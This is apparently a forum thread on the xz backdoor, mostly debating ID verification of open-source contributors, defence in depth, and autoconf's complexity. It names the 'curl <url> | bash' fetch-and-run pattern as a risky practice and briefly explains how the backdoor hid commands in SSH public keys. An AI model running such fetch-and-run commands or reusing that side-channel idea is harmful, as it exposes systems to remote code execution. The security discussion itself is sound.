              I’m not saying that this should be mandatory for all core infrastructure, it is more of a thought experiment for what we could do to make it harder for these attacks to occur. Using legal names for this scheme is not an issue, even all the “incorrect invariants” and the broken system in the US that pushcx mentioned would not be problematic for this scheme. The question is more of whether open-source projects would adopt this, because it creates more work for them. And the answer is likely no, sadly.

              1. 6

                The question is more of whether open-source projects would adopt this, because it creates more work for them.

                As the maintainer of an open source project, I don’t want to be held responsible for maintaining physical copies of incredibly sensitive personal information. And I wouldn’t want to entrust my personal info with any random open source maintainer.

                It’s not about whether it creates more work, it’s a matter of long-term irrevocable trust.

                Now where did I set my car keys?

              2. 6

                But it is not designed to be perfect, it is only designed to make it more difficult for state-actors. Today, it is too easy for state-actors to crate fake identities and start contributing to projects

                And I assume you’re thinking that instead of being easy, that it would be difficult for state actors to create fake national IDs and start contributing to projects…? Is that because you think creating a physical document would take… perhaps a few more seconds… than creating a github account?

                Also, if you require me to send my national ID to contribute to your open-source project, or require me to engage in any other kind of identity verification that could be reused to perform a replay attack, that would be a sure-fire way to ensure that I would never contribute to it. Copies of national IDs can be (and often are) used to steal identities and engage in criminal activities, so every time you share it with any entity, you are putting yourself at risk from being a victim of those crimes (even when not done intentionally, e.g. individual, company and government databases can be hacked into and your identity stolen as a result).

                Furthermore, nowadays with AI it’s entirely possible to join one of these video calls you propose with a fake avatar that looks like a real person, of which perhaps you only need a picture to create a realistic-looking copy of that person, especially considering that people can change their looks drastically from one day to the next, so the fake avatar doesn’t even have to 100% match a picture to pass the identity check. Or better yet, state actors could just create entirely fake people and join these video calls using those.

                Perhaps some form of cryptography could be used to attest that you are registered in a national citizen database without it being possible for any particular attestation to be reused in other activities, but I think you’re failing to consider that you are trusting governments not to attack you, when the attacker is a government. A government can just create fake entries in its national database whenever it wants to, so unless I’m missing something, it seems like your scheme would be completely pointless in addressing the problem it purports to address.

                And just for the sake of argument, let’s say that you succeed in identifying the spy that sabotaged your open-source project and then sue that spy, presumably in his country of residence (Russia? China? Israel? US? North Korea?). What do you think would happen as a result? Absolutely nothing. The court case would probably be moved to some secret court for national security reasons and then summarily dismissed after it being investigated, since the sabotage operation was sanctioned by the government in the first place. So even if you could, what would be the point of suing?

                1. 1

                  Is that because you think creating a physical document would take… perhaps a few more seconds… than creating a github account?

                  It takes a lot more than just a few seconds. The physical document has to be produced by the nation’s ID printing, due to the security features involved this can take weeks and has a non-zero cost. In many countries, there are regulations and red tape around who and when is allowed to mint new identity documents.

                  Also, if you require me to send my national ID to contribute to your open-source project, or require me to engage in any other kind of identity verification that could be reused to perform a replay attack, that would be a sure-fire way to ensure that I would never contribute to it.

                  That is fair, I would assume that most projects don’t adopt this scheme for practicality purposes and because it drives away contributions. And that is fine — I’m not expecting this scheme to be implemented, more thinking loudly over what process we could implement to make these attacks harder.

                  Copies of national IDs can be (and often are) used to steal identities and engage in criminal activities, so every time you share it with any entity, you are putting yourself at risk from being a victim of those crimes (even when not done intentionally, e.g. individual, company and government databases can be hacked into and your identity stolen as a result).

                  Possession of a scanned ID document should not allow for crime, in theory. In practice, yes you are right, it can happen. However, a lot of places you need to trust with it: banks, any hotel you check in requires your ID or passport. For protection, I don’t advocate for keeping a copy of the ID, just a signed CLA with the legal name on it that is kept in a safe. The ID is only used briefly on a video call for verification. This is the same system we use here when you want to get a phone contract, or a bank account, or anything else.

                  Nowadays with AI it’s entirely possible to join one of these video calls you propose with a fake avatar that looks like a real person, of which perhaps you only need a picture to create a realistic-looking copy of that person, especially considering that people can change their looks drastically from one day to the next.

                  That is true. Fundamentally, that is hard to fix. What existing ID verification schemes do is ask you to do some operations, such as moving closer to and further from the camera (which changes the POV), and ask you to shake your ID so that security features become more visible.

                  I don’t think we have an AI yet that can do this in a convincing way, but we might get some at some point. At that point, we need to rethink how to do online ID verification.

                  Or better yet, state actors could just create entirely fake people and join these video calls using those.

                  This is true. No matter what, we can never be fully safe from state actors. All we can do is make it harder for them. If a state actor wants to create 1000 identities that they can use for open-source attacks, it makes a big difference to them if they:

                  • only need to create a GitHub account
                  • need to mint a new identity, and create a GitHub account
                  • need to mint a new identity, create an AI solution that allows them to pass human verification, and create a GitHub account

                  All of these measures make creating and executing large-scale attacks harder. Any scheme that is harder to break is more intrusive to security, which we don’t want. This is true with cryptography: any cryptography is breakable, we just design it so that breaking it becomes prohibitively expensive.

                  Perhaps some form of cryptography could be used to attest that you are registered in a national citizen database without it being possible for any particular attestation to be reused in other activities, but I think you’re failing to consider that you are trusting governments not to attack you, when the attacker is a government.

                  Some governments already have ID cards that contain cryptographic keys that could be used for this. And yes, for governments we cannot fully prevent attacks, we can just add some hurdles that make it harder.

                  And just for the sake of argument, let’s say that you succeed in identifying the spy that sabotaged your open-source project and then sue that spy, presumably in his country of residence (Russia? China? Israel? US? North Korea?). What do you think would happen as a result?

                  So, there are several elements to this. The most important one is that it just makes it harder. If a state-actor still does it, we could catch irregularities (such as a lot of people from Russia verifying in a short amount of time) that we currently cannot catch due to accounts being pseudonymous. Next, we still obviously need code review, so even if a state-actor is able to infiltrate and produce proper ID documents and slowly create personas, our existing safeguards are still in place.

                  If we do detect anomalies and find out that there has been an attack, then we know the (real or potentially fake) identities of the attackers. It means that we have some idea of who performed this attack. Fundamentally, yes we cannot take people to court that are outside of our jurisdiction. The main idea for this system is that it doesn’t come that far. Another upside is that we prevent governments from reusing identities: now all of the identities associated with the attack are known and “burned”, and they have to start from scratch, slowly building trust.

                  I hope that this makes sense, at least somewhat.

                  1. 2

                    It takes a lot more than just a few seconds. The physical document has to be produced by the nation’s ID printing, due to the security features involved this can take weeks and has a non-zero cost.

                    I’m a citizen of a country in the EU and I can get a new passport in less than 24h, although it only takes that long due to the underlying bureaucracy, not because it’s not technically possible to create it in minutes.

                    The central services of my national government already create more than a million ID cards per year and there’s no reason why they couldn’t create 5 or 10 million per year if they wanted to. The cost of printing a card is negligible when compared to employing an engineer in a national security agency.

                    In many countries, there are regulations and red tape around who and when is allowed to mint new identity documents.

                    And in the countries we’re talking about, capable of sabotaging an open-source project like xz, their national security agencies can mint new identity documents for their spies whenever they want to. I really don’t think it’s a significant barrier for them.

                    The ID is only used briefly on a video call for verification. This is the same system we use here when you want to get a phone contract, or a bank account, or anything else.

                    Exactly, and I think that’s a problem. If everyone did that, my ID would have been shown to hundreds of strange people who I’ve never met nor will I ever meet. These people could screenshot my face and my ID, create a copy of them (perhaps using AI), then open a bank account in my name using exactly the same process. As far as I know, the security features of the ID are not meaningful over video calls (and even in person, I think they are almost never really paid attention to).

                    All of these measures make creating and executing large-scale attacks harder.

                    … (such as a lot of people from Russia verifying in a short amount of time)

                    I don’t really believe that. As you can see, it only took one fake identity to almost compromise the entire planet. You only need one well-placed vulnerability to do a large-scale attack, you don’t need to compromise thousands of projects (which you could do with only a few dozen identities), much less create thousands of different identities.

                    It means that we have some idea of who performed this attack.

                    As far as I know, this has never been a major problem, especially for open-source projects, or even proprietary ones. For example, what if we found out that the Linux kernel backdoor attempt was made by North Korea (or China, or Russia, or the US, or Israel, …)? Would that change how the Linux kernel accepted contributions? I really don’t think so, except for banning the contributions of the one person who submitted the backdoor… which IMO would not meaningfully slow down a national security agency (especially if the identity was fake). The identity is already burned regardless of whether there’s a national ID document behind it or just a github account.

                    Fundamentally, yes we cannot take people to court that are outside of our jurisdiction. The main idea for this system is that it doesn’t come that far.

                    Why wouldn’t it go that far? I still don’t understand how knowing which government did it would deter them from doing it.

                    Another upside is that we prevent governments from reusing identities: now all of the identities associated with the attack are known and “burned”, and they have to start from scratch, slowly building trust.

                    But even with just a github account, they’d already have to do that anyway. Having to create a new fake national ID would not change that, the real barrier is slowly gaining trust over years of contributions.

                    I hope that this makes sense, at least somewhat.

                    To me it doesn’t make much sense, because it seems like you’d be greatly punishing legitimate contributors (especially for casual or relatively-casual contributions), while not meaningfully preventing 3-letter agencies from accomplishing their goals.

                    Since these attackers are so powerful and have almost-infinite resources, I tend to think that it’s extremely difficult to defend against them. As you said, I think code review is part of the answer, but it’s not likely to be enough. Some technical suggestions like using git checkouts rather than release tarballs would have made this attack or similar ones a bit more difficult, but it would not have meaningfully solved the problem.

                    I’m actually very pessimistic about attacks like these because I see how often people just download and run pre-built binaries rather than compile their software from source, or even how often projects encourage users to do curl <url> | bash, so I don’t see an end to these problems anytime soon. Some kind of trustworthy formal verification of entire systems could also be an answer, but we’re even more far away from reaching a goal like that than systematically compile everything from source.

                    And in many ways, I think we are actually getting more far away from solving this problem than we are getting closer. Software keeps getting larger and more complex every year, the avg number of dependencies keeps increasing, vendoring dependencies is very popular nowadays (making systematic code review and patching hard or impossible), container usage (which contain binaries) is more popular than ever, some projects are extremely difficult to build from source so binary artifacts are actually quite common, build systems and code editor plugins often download binaries from the web, compilers are often written in their own languages making bootstrap-from-understandable-source impossible, smartphone platforms exclusively using binaries rather than compiling from source, IoT and networking platforms using vulnerable software that hasn’t been updated in years (e.g. the Linux kernel), etc, etc… IMHO it’s all just a big impossible-to-solve mess, really, especially when sophisticated attackers can easily turn random bugs into backdoors.

                    That’s not even mentioning hardware or firmware vulnerabilities and backdoors, which I’m guessing nowadays are much easier for these agencies to introduce without any suspicions (or even with them), due to the infinite complexity of modern computers and their features (which often cannot even be disabled).

                    1. 2

                      I’ll try to get back to you:

                      The cost of printing a card is negligible when compared to employing an engineer in a national security agency. And in the countries we’re talking about, capable of sabotaging an open-source project like xz, their national security agencies can mint new identity documents for their spies whenever they want to. I really don’t think it’s a significant barrier for them.

                      • National security agencies have more reach, but this already makes it harder for other threats that don’t have an ability to mint IDs.
                      • Even in national security agencies, you cannot just willy-nilly print thousands of IDs, like you can create GitHub accounts today
                      • You are treating this as if it is intended to be ab absolute defense, which it is not. It is an additional security layer. It increased the complexity of operating such an attack, because you need multiple people (different faces) and multiple IDs to execute it. Making it more expensive and time-intensive is the ultimate goal.

                      If everyone did that, my ID would have been shown to hundreds of strange people who I’ve never met nor will I ever meet.

                      This verification is only really useful or intended for a handful of core-infrastructure projects. And yes, when you work an travel you will also show your ID to hundreds of strange people you’ve never met, when you check into a Hotel.

                      These people could screenshot my face and my ID, create a copy of them (perhaps using AI), then open a bank account in my name using exactly the same process. As far as I know, the security features of the ID are not meaningful over video calls (and even in person, I think they are almost never really paid attention to).

                      IDs should really not give anyone more access to anything. I’ve discussed this in another reply, but the TL;DR is that there needs to be some amount of trust between you and the maintainers.

                      I’ve discussed the AI issue in a separate reply, but in general once AI becomes good enough to fool these verification processes then we need to rethink them. But that should not stop us from implementing improvements now.

                      For example, what if we found out that the Linux kernel backdoor attempt was made by North Korea (or China, or Russia, or the US, or Israel, …)? Would that change how the Linux kernel accepted contributions? I really don’t think so, except for banning the contributions of the one person who submitted the backdoor… which IMO would not meaningfully slow down a national security agency (especially if the identity was fake). The identity is already burned regardless of whether there’s a national ID document behind it or just a github account.

                      So, this is a good question. The main utility behind this verification is just to create it harder to create fake identities. We might be able to use this to spot patterns and do more thorough code review if we notice anything suspicious. In countries with a good legal system, it allows to take legal actions against individuals that participate in this. But yes, there might be cases where we cannot do anything, and that is alright — just the fact that it makes it harder to perform attacks is a big win.

                      the real barrier is slowly gaining trust over years of contributions

                      Trust, but verify.

                      To me it doesn’t make much sense, because it seems like you’d be greatly punishing legitimate contributors (especially for casual or relatively-casual contributions), while not meaningfully preventing 3-letter agencies from accomplishing their goals.

                      Since these attackers are so powerful and have almost-infinite resources, I tend to think that it’s extremely difficult to defend against them. As you said, I think code review is part of the answer, but it’s not likely to be enough. Some technical suggestions like using git checkouts rather than release tarballs would have made this attack or similar ones a bit more difficult, but it would not have meaningfully solved the problem.

                      I agree that it is almost impossible to defend against three-letter agencies. That is true today and it will be true tomorrow, regardless of what we do. A defense-in-depth strategy has multiple layers of defense:

                      • Verification of the individuals participating in the development
                      • Code review, to have a human in the loop to make sure code looks sound and is aligned with the project’s goals.
                      • Automated testing, to ensure that code is at least somewhat correct in doing what it is supposed to be doing.
                      • Automated fuzzing, to ensure that for any possible inputs, the code behaves correctly according to the system invariants (memory safety, thread safety, etc).

                      The verification simply ensures that it is difficult for individuals to create multiple pseudonymous accounts and build trust, which they can later exploit. It just makes it harder. You need more resources (more people), perhaps fake identities. Every layer makes it a bit harder (read: expensive) to perform these attacks, due to needing more people, identities.

                      I’m actually very pessimistic about attacks like these because I see how often people just download and run pre-built binaries rather than compile their software from source, or even how often projects encourage users to do curl | bash, so I don’t see an end to these problems anytime soon. Some kind of trustworthy formal verification of entire systems could also be an answer, but we’re even more far away from reaching a goal like that than systematically compile everything from source.

                      I agree with you on some of these parts. The precompiled binaries is not ideal. Even if we can systematically compile everything from source, this does not fix anything. There is still either a requirement for the source to be valid, or you need to manually check it. It is not possible for a single human, or even an organization, to review all of the source code of the software they use without employing many dedicated people to do so. But I agree that there would be a benefit to this.

                      I think the underlying learning here is that all of the tech world is ultimately built on trust.

                      Software keeps getting larger and more complex every year, the avg number of dependencies keeps increasing, vendoring dependencies is very popular nowadays (making systematic code review and patching hard or impossible), container usage (which contain binaries) is more popular than ever, some projects are extremely difficult to build from source so binary artifacts are actually quite common, build systems and code editor plugins often download binaries from the web, compilers are often written in their own languages making bootstrap-from-understandable-source impossible, smartphone platforms exclusively using binaries rather than compiling from source, etc, etc… IMHO it’s all just a big impossible-to-solve mess, really, especially when sophisticated attackers can easily turn random bugs into backdoors.

                      100% agree with you on that, although this is something that we really can’t fix, software will keep on getting more complex. Or maybe it will become super easy, just an AI runtime and all the software we use is just ONNX models. But at that point we can forget about any kind of security, because we won’t be able to understand the software we use at all.

                      That’s not even mentioning hardware or firmware vulnerabilities and backdoors, which I’m guessing nowadays are much easier for these agencies to introduce without any suspicions (or even with them), due to the infinite complexity of modern computers and their features (which often cannot even be disabled).

                      This is true. Bunnie Huang is doing some interesting work in that regard. Some other examples of this would be the Intel ME, which runs a binary blob (a Minix-based operating system) inside every Intel processor that has ring -1 permissions (including networking). I agree that on the physical level, it’s not looking so great. You could run all of your stuff on open-source hardware (RISC-V), but even then you need to trust the fab. I honestly don’t have a great solution to this, because verification is so hard. And even if you wanted to, it would be close to impossible:

                      • If you scan the silicone, you can compare it to a known good sample. But how do you trust that the sample is even good?
                      • You could get the hardware-description sources, and somehow match them to the silicone. But then, how do you know the sources are good?
                      • Ultimately, again, you need trust. Hardware designs have become so complex that again, you’d need a large team and millions of dollars to verify the sources, and to verify they match the silicone, and by the time you are done, the hardware is obsolete.

                      That all being said, I think anything we can do to improve the security, even if marginally, is a good thing. I hope that my response makes some amount of sense, you have raised a few good points.

      3. 4

        So I would rather have pinkkitty31 give up his legal name than live in a world where we allow state-actors to perform these kinds of attacks.

        Are nation state actors not able to create fictitious identities that appear legitimate to the average person (or even to other nation state entities that verify identification documents?)

        I’m pretty sure there’s a trove of nation state covert intelligence operatives already using alternative identities.

    36. 2

      I’ve always wondered why GitHub doesn’t push checksums and signing of the release tarballs. They can be different from the source, different people uploading, and different over time.

      1. 10

        These release tarbals were apparently signed by the maintainer.

    37. 2

      One of the coolest features IMO of the Pijul ecosystem is its decoupling of identity information & commits thru its keyserver(s). Rather than giving your email + username/real name, you use an independent key. The information tied to that key can be as much or as little as you please for privacy, but you can also now update that info whether that be finally getting off that GMail account, getting married, or not wishing to be dead-named. Most VCSs don’t offer this so if you wish to redact that personal info, you want need to tell all projects you have committed to to place filter-branch/rebase the repo with your updated info (which will break all the hashes of a snapshot-based system). That ID, while not anonymous, can have reputation behind it without having to give out your real info.

    38. 1

      It’s really late to comment on this post, but I will anyway!

      The issues brought up in the post include:

      • AutoConf is trying to solve a problem that is almost unsolvable. That is, compile packages on an arbitrary combination of OS, OS version, libc version, frameworks installed, dependencies installed and their versions, and services available. There is probably no way to hit all the combinations: this is why Docker and containers exist.
      • AutoConf reruns all of its discovery on each installation instead of using some sort of sensible caching. The major complaint is how much code is included in testing. For example, the recent xz backdoor included issues in its many test and configuration files.
      • File types are mere suggestions. Anything might be a bash script or decoded into a bash script.

      I bring up these issues:

      • Standardization is hard, even on stationary targets. On moving targets, standardization is impossible. Listing and testing capabilities is an impossible target. In the case of the xz attack, standardization would not have helped.
      • Fixing hard problems, particularly where the fix may make something fail, is very hard. For example, xeyes was a popular program that watched the position of the mouse on the desktop in X Windows. Many attempts at fixing event stealing issues were tossed because they would break that one feature. In a similar vein, some crazy things someone, somewhere wants to do in an installation will be disallowed with any new safety feature.
      • Fixing hard problems is really hard. The classic paper on this is from 2002, Thirty Years Later: Lessons from the Multics Security Evaluation which recounted a paper from a quick security evaluation of the “most secure” operating system of the 1970s. Almost everything but stack smashing is still a problem.
      • Without any tool, every tool is used. Many packagers have custom installers, some just ask you to trust running a shell script as root from across the Internet. Packages using autoconf have enough configuration that they may as well have custom installers. Every OS tends to have its own installer and updater, simply because cross platform installers have never been good enough.

      I appreciate the problem is hard.

    39. 1

      I dont get it :D

      1. 5

        I think what Ryan is saying here is that the xz backdoor works by you trying to connect to the SSH server, and the malicious command you are trying to run is embedded into the public key that you send during authentication. So the authentication is used as a side-channel — for any tools monitoring traffic, it doesn’t look like someone was actually able to log in, it just looks like failed authentication requests. The suggestion is then that these public keys that are really used to send commands must be broken, but this is not true. Ryan disproves this by writing a Python script that generates a public key which contains an embedded command that the backdoor recognizes, and still has a valid private key to go along with it. At least that is how I understand it superficially, without diving into the code itself.

    40. 1

      And finally, yes, I’m definitely biased. My own personal build system has a little file that gets installed on a machine based on how the libs and whatnot work on it. That means all of the Macs of a particular version of the OS get the same file. All of the Debian boxes running the same version get the same file, and so on down the line.

      It would be nice if more details were shared about this personal build system, but perhaps there is some advantage of keeping it secret for the author.

    41. 1

      NB, if anyone needs them, I have copies of the tukanni project git repos for both xz and libarchive taken from github shortly before they locked the repo.

      Unfortunately I don’t have the release tarballs that contain the payload code, but you can probably extract that from the Debian source package.

      1. 1

        Do you have the issue tracker, PR discussion comments, etc?

        1. 1

          No, sorry. Does anyone mirror github public repos?

          1. 1

            I believe GitHub “unbanned” the repos hosted there.

      2. 1

        They also have https://git.tukaani.org/, which has the relevant repositories, although I have not checked if commits have been pruned. I wanted to take a peek myself.

    42. 1

      The first difference is that the script makes sure (very sure!) to exit if not being run on Linux.

      The repeated check is indeed mysterious. My only hypothesis is that the attacker may have thought that it should look plausible as a test input to a compression library, hence repetition.

    43. [Comment removed by author]